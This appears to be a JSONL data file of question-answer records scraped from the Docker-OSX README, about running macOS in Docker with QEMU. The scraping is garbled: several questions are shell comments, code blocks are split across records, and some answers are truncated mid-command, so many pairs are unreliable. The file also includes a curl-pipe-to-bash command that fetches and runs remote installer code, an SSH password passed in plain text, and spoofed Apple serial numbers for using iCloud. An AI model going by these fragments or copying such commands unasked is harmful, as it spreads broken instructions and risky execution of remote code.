{"id": "gh_ab3ea2380b31", "question": "How to: RAM over-allocation", "question_body": "About sickcodes/Docker-OSX", "answer": "You cannot allocate more RAM than your machine has. The default is 3 Gigabytes: `-e RAM=3`.\n\nIf you are trying to allocate more RAM to the container than you currently have available, you may see an error like the following: `cannot set up guest memory 'pc.ram': Cannot allocate memory`. See also: [here](https://github.com/sickcodes/Docker-OSX/issues/188), [here](https://github.com/sickcodes/Docker-OSX/pull/189).\n\nFor example (below) the `buff/cache` already contains 20 Gigabytes of allocated RAM:\n\n```console\n[user@hostname ~]$ free -mh\n               total        used        free      shared  buff/cache   available\nMem:            30Gi       3.5Gi       7.0Gi       728Mi        20Gi        26Gi\nSwap:           11Gi          0B        11Gi\n```\n\nClear the buffer and the cache:\n\n```bash\nsudo tee /proc/sys/vm/drop_caches <<< 3\n```\n\nNow check the RAM again:\n\n```console\n[user@hostname ~]$ free -mh\n               total        used        free      shared  buff/cache   available\nMem:            30Gi       3.3Gi        26Gi       697Mi       1.5Gi        26Gi\nSwap:           11Gi          0B        11Gi\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846424"}
{"id": "gh_423a58e53e7d", "question": "How to: PulseAudio", "question_body": "About sickcodes/Docker-OSX", "answer": "#### Use PulseAudio for sound\n\nNote: [AppleALC](https://github.com/acidanthera/AppleALC), [`alcid`](https://dortania.github.io/OpenCore-Post-Install/universal/audio.html) and [VoodooHDA-OC](https://github.com/chris1111/VoodooHDA-OC) do not have [codec support](https://osy.gitbook.io/hac-mini-guide/details/hda-fix#hda-codec). However, [IORegistryExplorer](https://github.com/vulgo/IORegistryExplorer) does show the controller component working.\n\n```bash\ndocker run \\\n    --device /dev/kvm \\\n    -e AUDIO_DRIVER=pa,server=unix:/tmp/pulseaudio.socket \\\n    -v \"/run/user/$(id -u)/pulse/native:/tmp/pulseaudio.socket\" \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    sickcodes/docker-osx\n```\n\n#### PulseAudio debugging\n\n```bash\ndocker run \\\n    --device /dev/kvm \\\n    -e AUDIO_DRIVER=pa,server=unix:/tmp/pulseaudio.socket \\\n    -v \"/run/user/$(id -u)/pulse/native:/tmp/pulseaudio.socket\" \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e PULSE_SERVER=unix:/tmp/pulseaudio.socket \\\n    sickcodes/docker-osx pactl list\n```\n\n#### PulseAudio with WSLg\n\n```bash\ndocker run \\\n    --device /dev/kvm \\\n    -e AUDIO_DRIVER=pa,server=unix:/tmp/pulseaudio.socket \\\n    -v /mnt/wslg/runtime-dir/pulse/native:/tmp/pulseaudio.socket \\\n    -v /mnt/wslg/.X11-unix:/tmp/.X11-unix \\\n    sickcodes/docker-osx\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846432"}
{"id": "gh_eec8e3911020", "question": "How to: Forward additional ports (nginx hosting example)", "question_body": "About sickcodes/Docker-OSX", "answer": "It's possible to forward additional ports depending on your needs. In this example, we'll use Mac OSX to host nginx:\n\n```\nhost:10023 <-> 10023:container:10023 <-> 80:guest\n```\n\nOn the host machine, run:\n\n```bash\ndocker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -e ADDITIONAL_PORTS='hostfwd=tcp::10023-:80,' \\\n    -p 10023:10023 \\\n    sickcodes/docker-osx:auto\n```\n\nIn a Terminal session running the container, run:\n\n```bash\n/bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"\n\nbrew install nginx\nsudo sed -i -e 's/8080/80/' /usr/local/etc/nginx/nginx.confcd", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846437"}
{"id": "gh_82a8b34073e0", "question": "How to: sudo nginx -s stop", "question_body": "About sickcodes/Docker-OSX", "answer": "sudo nginx\n```\n\n**nginx should now be reachable on port 10023.**\n\nAdditionally, you can string multiple statements together, for example:\n\n```bash\n    -e ADDITIONAL_PORTS='hostfwd=tcp::10023-:80,hostfwd=tcp::10043-:443,'\n    -p 10023:10023 \\\n    -p 10043:10043 \\\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846441"}
{"id": "gh_c0a976820861", "question": "How to: Bridged networking", "question_body": "About sickcodes/Docker-OSX", "answer": "You might not need to do anything with the default setup to enable internet connectivity from inside the container. Additionally, `curl` may work even if `ping` doesn't.\n\nSee discussion [here](https://github.com/sickcodes/Docker-OSX/issues/177) and [here](https://github.com/sickcodes/Docker-OSX/issues/72) and [here](https://github.com/sickcodes/Docker-OSX/issues/88).", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846446"}
{"id": "gh_a1e52ba0bf41", "question": "How to: Enable IPv4 forwarding for bridged network connections for remote installations", "question_body": "About sickcodes/Docker-OSX", "answer": "This is not required for LOCAL installations.\n\nAdditionally note it may [cause the host to leak your IP, even if you're using a VPN in the container](https://sick.codes/cve-2020-15590/).\n\nHowever, if you're trying to connect to an instance of Docker-OSX remotely (e.g. an instance of Docker-OSX hosted in a datacenter), this may improve your performance:\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846450"}
{"id": "gh_93a781ab1842", "question": "How to: enable permanently", "question_body": "About sickcodes/Docker-OSX", "answer": "sudo touch /etc/sysctl.conf\nsudo tee -a /etc/sysctl.conf <", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846456"}
{"id": "gh_bcaf2c331209", "question": "How to: or edit manually with the editor of your choice", "question_body": "About sickcodes/Docker-OSX", "answer": "nano /etc/sysctl.conf || vi /etc/sysctl.conf || vim /etc/sysctl.conf", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846460"}
{"id": "gh_158894e95381", "question": "How to: Share folder with Docker-OSX QEMU macOS", "question_body": "About sickcodes/Docker-OSX", "answer": "Sharing a folder with guest is quite simple.\n\nYour folder, will go to /mnt/hostshare inside the Arch container which is then passed over QEMU.\n\nThen mount using `sudo -S mount_9p hostshare` from inside the mac.\n\nFor example,\n\n```bash\nFOLDER=~/somefolder\n```\n\n```bash\n    -v \"${FOLDER}:/mnt/hostshare\" \\\n    -e EXTRA=\"-virtfs local,path=/mnt/hostshare,mount_tag=hostshare,security_model=passthrough,id=hostshare\" \\\n```\n\nFull example:\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846465"}
{"id": "gh_db15e534a33e", "question": "How to: stat mac_hdd_ng.img", "question_body": "About sickcodes/Docker-OSX", "answer": "SHARE=~/somefolder\n\ndocker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -v \"${PWD}/mac_hdd_ng.img:/home/arch/OSX-KVM/mac_hdd_ng.img\" \\\n    -v \"${SHARE}:/mnt/hostshare\" \\\n    -e EXTRA=\"-virtfs local,path=/mnt/hostshare,mount_tag=hostshare,security_model=passthrough,id=hostshare\" \\\n    sickcodes/docker-osx:latest", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846470"}
{"id": "gh_82dbc35a5fa3", "question": "How to: Share Linux NFS Drive into macOS", "question_body": "About sickcodes/Docker-OSX", "answer": "To share a folder using NFS, setup a folder for on the host machine, for example, `/srv/nfs/share` and then append to `/etc/exports`:\n```bash\n/srv/nfs/share      127.0.0.1/0(insecure,rw,all_squash,anonuid=1000,anongid=985,no_subtree_check)\n```\n\nYou may need to reload exports now, which will begin sharing that directory.\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846475"}
{"id": "gh_ae3b8ac427cc", "question": "How to: reload shared folders", "question_body": "About sickcodes/Docker-OSX", "answer": "sudo exportfs -arv\n```\n\n[Source & Explanation](https://serverfault.com/questions/716350/mount-nfs-volume-on-ubuntu-linux-server-from-macos-client)\n\nGive permissions on the shared folder for the `anonuid` and `anongid`, where `anonuid` and `anongid` matches that of your linux user; `id -u`\n\n`id -u ; id -g` will print `userid:groupid`\n```\nchown 1000:985 /srv/nfs/share\nchmod u+rwx /srv/nfs/share\n```\n\nStart the Docker-OSX container with the additional flag `--network host`\n\nCreate and mount the nfs folder from the mac terminal:\n```\nmkdir -p ~/mnt\nsudo mount_nfs -o locallocks 10.0.2.2:/srv/nfs/share ~/mnt\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846480"}
{"id": "gh_cb586e3c6131", "question": "How to: Mount USB Drive (Hotplug/Hot Plug USB)", "question_body": "About sickcodes/Docker-OSX", "answer": "Start your container.\n\nPick a port, for example, `7700`.\n\n`lsusb` to get `vid:pid`\n\nOn Linux:\n`sudo usbredirserver -p 7700 1e3d:2096`\n\nNow, in the Docker window hit Enter to see the `(qemu)` console.\n\nYou can add/remove the disk using commands like this, even once the machine is started:\n\n`chardev-add socket,id=usbredirchardev1,port=7700,host=172.17.0.1`\n\n`device_add usb-redir,chardev=usbredirchardev1,id=usbredirdev1,debug=4`", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846486"}
{"id": "gh_f2c20287ad8f", "question": "How to: Mount USB Drive inside macOS at boot Docker OSX", "question_body": "About sickcodes/Docker-OSX", "answer": "```bash\nPORT=7700\nIP_ADDRESS=172.17.0.1\n\n-e EXTRA=\"-chardev socket,id=usbredirchardev1,port=${PORT},host=${IP_ADDRESS} -device usb-redir,chardev=usbredirchardev1,id=usbredirdev1,debug=4\" \\`\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846490"}
{"id": "gh_49f18240b703", "question": "How to: Fedora: enable internet connectivity with a bridged network", "question_body": "About sickcodes/Docker-OSX", "answer": "Fedora's default firewall settings may prevent Docker's network interface from reaching the internet. In order to resolve this, you will need to whitelist the interface in your firewall:\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846494"}
{"id": "gh_1c0d0906ba3d", "question": "How to: Set the docker0 bridge to the trusted zone", "question_body": "About sickcodes/Docker-OSX", "answer": "sudo firewall-cmd --permanent --zone=trusted --add-interface=docker0\nsudo firewall-cmd --reload\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846498"}
{"id": "gh_2127b421f55a", "question": "How to: Nested Hardware Virtualization", "question_body": "About sickcodes/Docker-OSX", "answer": "Check if your machine has hardware virtualization enabled:\n\n```bash\nsudo tee /sys/module/kvm/parameters/ignore_msrs <<< 1\n\negrep -c '(svm|vmx)' /proc/cpuinfo\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846503"}
{"id": "gh_f9e468239ff1", "question": "How to: Virtual network adapters", "question_body": "About sickcodes/Docker-OSX", "answer": "#### Fast internet connectivity\n\n`-e NETWORKING=vmxnet3`\n\n#### Slow internet connectivity\n\n`-e NETWORKING=e1000-82545em`", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846507"}
{"id": "gh_4da56a7be314", "question": "How to: CI/CD Related Improvements", "question_body": "About sickcodes/Docker-OSX", "answer": "#### Tips for reducing the size of the image\n\n- Start the container as usual, and remove unnecessary files. A useful way\n  to do this is to use `du -sh *` starting from the `/` directory, and find\n  large directories where files can be removed. E.g. unnecessary cached files,\n  Xcode platforms, etc.\n- Once you are satisfied with the amount of free space, enable trim with `sudo trimforce enable`, and reboot.\n- Zero out the empty space on the disk with `dd if=/dev/zero of=./empty && rm -f empty`\n- Shut down the VM and copy out the qcow image with `docker cp stoppedcontainer:/home/arch/OSX-KVM/mac_hdd_ng.img .`\n- Run `qemu-img check -r all mac_hdd_ng.img` to fix any errors.\n- Run `qemu-img convert -O qcow2 mac_hdd_ng.img deduped.img` and check for errors again\n- **OPTIONAL:** Run `qemu-img convert -c -O qcow2 deduped.img compressed.img` to further compress the image. This may reduce the runtime speed though, but it should reduce the size by roughly 25%.\n- Check for errors again, and build a fresh docker image. E.g. with this Dockerfile\n\n```\nFROM sickcodes/docker-osx\nUSER arch\nCOPY --chown=arch ./deduped.img /home/arch/OSX-KVM/mac_hdd_ng.img\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846513"}
{"id": "gh_10664a57353e", "question": "How to: Run Docker-OSX headlessly with Telnet", "question_body": "About sickcodes/Docker-OSX", "answer": "First make sure [autoboot is enabled](#autoboot-into-osx-after-youve-installed-everything)\n\nNext, you will want to set up SSH to be automatically started.\n\n```bash\nsudo systemsetup -setremotelogin on\n```\n\nMake sure to commit the new docker image and save it, or rebuild as described in the [section on reducing disk space](#how-to-reduce-the-size-of-the-image).\n\nThen run it with these arguments.\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846518"}
{"id": "gh_ad225c60e64a", "question": "How to: Run with the -nographic flag, and enable a telnet interface", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -e EXTRA=\"-monitor telnet::45454,server,nowait -nographic -serial null\" \\\n    mycustomimage\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846522"}
{"id": "gh_1b462936ae9b", "question": "How to: What mirrors are appropriate to use to build Docker-OSX locally?", "question_body": "About sickcodes/Docker-OSX", "answer": "If you are building Docker-OSX locally, you'll probably want to use Arch Linux's mirrors.\n\nMirror locations can be found here (uses two-letter country codes): https://archlinux.org/mirrorlist/all/\n\n```bash\ndocker build -t docker-osx:latest \\\n    --build-arg RANKMIRRORS=true \\\n    --build-arg MIRROR_COUNTRY=US \\\n    --build-arg MIRROR_COUNT=10 \\\n    --build-arg SHORTNAME=catalina \\\n    --build-arg SIZE=200G .\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846527"}
{"id": "gh_295c135fbd1a", "question": "How to: Custom QEMU Arguments (passthrough devices)", "question_body": "About sickcodes/Docker-OSX", "answer": "Pass any devices/directories to the Docker container & the QEMU arguments using the handy runtime argument provider option `-e EXTRA=`.\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846531"}
{"id": "gh_65b9e8d417fc", "question": "How to: example customizations", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run \\\n    -e RAM=4 \\\n    -e SMP=4 \\\n    -e CORES=4 \\\n    -e EXTRA='-usb -device usb-host,hostbus=1,hostaddr=8' \\\n    -e INTERNAL_SSH_PORT=23 \\\n    -e MAC_ADDRESS=\"$(xxd -c1 -p -l 6 /dev/urandom | tr '\\n' ':' | cut -c1-17)\" \\\n    -e AUDIO_DRIVER=alsa \\\n    -e IMAGE_PATH=/image \\\n    -e SCREEN_SHARE_PORT=5900 \\\n    -e DISPLAY=:0 \\\n    -e NETWORKING=vmxnet3 \\\n    --device /dev/kvm \\\n    --device /dev/snd \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    docker-osx:latest\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846537"}
{"id": "gh_f61674d8050f", "question": "How to: Generating serial numbers", "question_body": "About sickcodes/Docker-OSX", "answer": "Generate serial numbers in `./custom` OR make docker generate them at runtime (see below).\n\nAt any time, verify your serial number before logging into iCloud, etc.\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846541"}
{"id": "gh_91798817f694", "question": "How to: test some commands", "question_body": "About sickcodes/Docker-OSX", "answer": "sshpass -p 'alpine' ssh user@localhost -p 50922 'ping google.com'", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 52014, "answer_score": 10, "has_code": false, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846545"}
{"id": "gh_9a08a4195843", "question": "How to: check your serial number", "question_body": "About sickcodes/Docker-OSX", "answer": "sshpass -p 'alpine' ssh user@localhost -p 50922 'ioreg -l | grep IOPlatformSerialNumber'\n```\n\n#### Getting started with serial numbers\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846549"}
{"id": "gh_c31244efcda4", "question": "How to: proof of concept only, generates random serial numbers, headlessly, and quits right after.", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run --rm -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -e NOPICKER=true \\\n    -e GENERATE_UNIQUE=true \\\n    -e DEVICE_MODEL=\"iMacPro1,1\" \\\n    sickcodes/docker-osx:auto", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846561"}
{"id": "gh_fe8b0ee2bfc0", "question": "How to: -e OSX_COMMANDS='ioreg -l | grep IOPlatformSerialNumber' \\", "question_body": "About sickcodes/Docker-OSX", "answer": "```\n\n#### This example generates a specific set of serial numbers at runtime\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846565"}
{"id": "gh_3090712ea4b7", "question": "How to: you don't need to save the bootdisk IF you supply specific serial numbers!", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -e NOPICKER=true \\\n    -e GENERATE_SPECIFIC=true \\\n    -e DEVICE_MODEL=\"iMacPro1,1\" \\\n    -e SERIAL=\"C02TW0WAHX87\" \\\n    -e BOARD_SERIAL=\"C027251024NJG36UE\" \\\n    -e UUID=\"5CCB366D-9118-4C61-A00A-E5BAF3BED451\" \\\n    -e MAC_ADDRESS=\"A8:5C:2C:9A:46:2F\" \\\n    -e OSX_COMMANDS='ioreg -l | grep IOPlatformSerialNumber' \\\n    sickcodes/docker-osx:auto\n```\n\n#### This example generates a specific set of serial numbers at runtime, with your existing image, at 1000x1000 display resolution\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846571"}
{"id": "gh_2aacdb138a06", "question": "How to: run an existing image in current directory, with a screen, with SSH, with nopicker.", "question_body": "About sickcodes/Docker-OSX", "answer": "stat mac_hdd_ng.img # make sure you have an image if you're using :naked\n\ndocker run -it \\\n    -v \"${PWD}/mac_hdd_ng.img:/image\" \\\n    --device /dev/kvm \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -p 50922:10022 \\\n    -e NOPICKER=true \\\n    -e GENERATE_SPECIFIC=true \\\n    -e DEVICE_MODEL=\"iMacPro1,1\" \\\n    -e SERIAL=\"C02TW0WAHX87\" \\\n    -e BOARD_SERIAL=\"C027251024NJG36UE\" \\\n    -e UUID=\"5CCB366D-9118-4C61-A00A-E5BAF3BED451\" \\\n    -e MAC_ADDRESS=\"A8:5C:2C:9A:46:2F\" \\\n    -e WIDTH=1000 \\\n    -e HEIGHT=1000 \\\n    sickcodes/docker-osx:naked\n```\n\nIf you want to generate serial numbers, either make them at runtime using\n`    -e GENERATE_UNIQUE=true \\`\n\nOr you can generate them inside the `./custom` folder. And then use:\n```bash\n    -e GENERATE_SPECIFIC=true \\\n    -e SERIAL=\"\" \\\n    -e BOARD_SERIAL=\"\" \\\n    -e UUID=\"\" \\\n    -e MAC_ADDRESS=\"\" \\\n```\n\n#### Making serial numbers persist across reboots\n\n```bash\n\nstat mac_hdd_ng_testing.img\ntouch ./output.env", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846577"}
{"id": "gh_bab5bce370e9", "question": "How to: generate fresh random serial numbers, with a screen, using your own image, and save env file with your new serial numbers for later.", "question_body": "About sickcodes/Docker-OSX", "answer": "docker run -it \\\n    --device /dev/kvm \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -p 50922:10022 \\\n    -e NOPICKER=true \\\n    -e GENERATE_UNIQUE=true \\\n    -e GENERATE_SPECIFIC=true \\\n    -e DEVICE_MODEL=\"iMacPro1,1\" \\\n    -v \"${PWD}/output.env:/env\" \\\n    -v \"${PWD}/mac_hdd_ng_testing.img:/image\" \\\n    sickcodes/docker-osx:naked\n```\n\nTo use iMessage or iCloud you need to change `5` values.\n\n- `SERIAL`\n- `BOARD_SERIAL`\n- `UUID`\n- `MAC_ADDRESS`\n\n_`ROM` is just the lowercased mac address, without `:` between each word._\n\nYou can tell the container to generate them for you using `-e GENERATE_UNIQUE=true`\n\nOr tell the container to use specific ones using `-e GENERATE_SPECIFIC=true`\n\n```bash\n    -e GENERATE_SPECIFIC=true \\\n    -e DEVICE_MODEL=\"iMacPro1,1\" \\\n    -e SERIAL=\"C02TW0WAHX87\" \\\n    -e BOARD_SERIAL=\"C027251024NJG36UE\" \\\n    -e UUID=\"5CCB366D-9118-4C61-A00A-E5BAF3BED451\" \\\n    -e MAC_ADDRESS=\"A8:5C:2C:9A:46:2F\" \\\n```", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846584"}
{"id": "gh_20d2e80023aa", "question": "How to: Changing display resolution", "question_body": "About sickcodes/Docker-OSX", "answer": "The display resolution is controlled by this line:\n\nhttps://github.com/sickcodes/Docker-OSX/blob/master/custom/config-nopicker-custom.plist#L819\n\nInstead of mounting that disk, Docker-OSX will generate a new `OpenCore.qcow2` by using this one cool trick:\n\n```bash\n-e GENERATE_UNIQUE=true \\\n-e WIDTH=800 \\\n-e HEIGHT=600 \\\n```\n\nTo use `WIDTH`/`HEIGHT`, you must use with either `-e GENERATE_UNIQUE=true` or `-e GENERATE_SPECIFIC=true`.\n\nIt will take around 30 seconds longer to boot because it needs to make a new boot partition using `libguestfs`.\n\n```bash\n-e GENERATE_SPECIFIC=true \\\n-e WIDTH=1920 \\\n-e HEIGHT=1080 \\\n-e SERIAL=\"\" \\\n-e BOARD_SERIAL=\"\" \\\n-e UUID=\"\" \\\n-e MAC_ADDRESS=\"\" \\\n```\n\n#### Change Docker-OSX Resolution Examples\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846590"}
{"id": "gh_3b3d09d11541", "question": "How to: using an image in your current directory", "question_body": "About sickcodes/Docker-OSX", "answer": "stat mac_hdd_ng.img\n\ndocker run -it \\\n    --device /dev/kvm \\\n    -p 50922:10022 \\\n    -v \"${PWD}/mac_hdd_ng.img:/image\" \\\n    -v /tmp/.X11-unix:/tmp/.X11-unix \\\n    -e \"DISPLAY=${DISPLAY:-:0.0}\" \\\n    -e GENERATE_SPECIFIC=true \\\n    -e DEVICE_MODEL=\"iMacPro1,1\" \\\n    -e SERIAL=\"C02TW0WAHX87\" \\\n    -e BOARD_SERIAL=\"C027251024NJG36UE\" \\\n    -e UUID=\"5CCB366D-9118-4C61-A00A-E5BAF3BED451\" \\\n    -e MAC_ADDRESS=\"A8:5C:2C:9A:46:2F\" \\\n    -e MASTER_PLIST_URL=https://raw.githubusercontent.com/sickcodes/Docker-OSX/master/custom/config-nopicker-custom.plist \\\n    -e WIDTH=1600 \\\n    -e HEIGHT=900 \\\n    sickcodes/docker-osx:naked\n```\n\n```bash", "tags": ["sickcodes"], "source": "github_gists", "category": "sickcodes", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 52014, "answer_score": 10, "has_code": true, "url": "https://github.com/sickcodes/Docker-OSX", "collected_at": "2026-01-16T23:30:23.846596"}
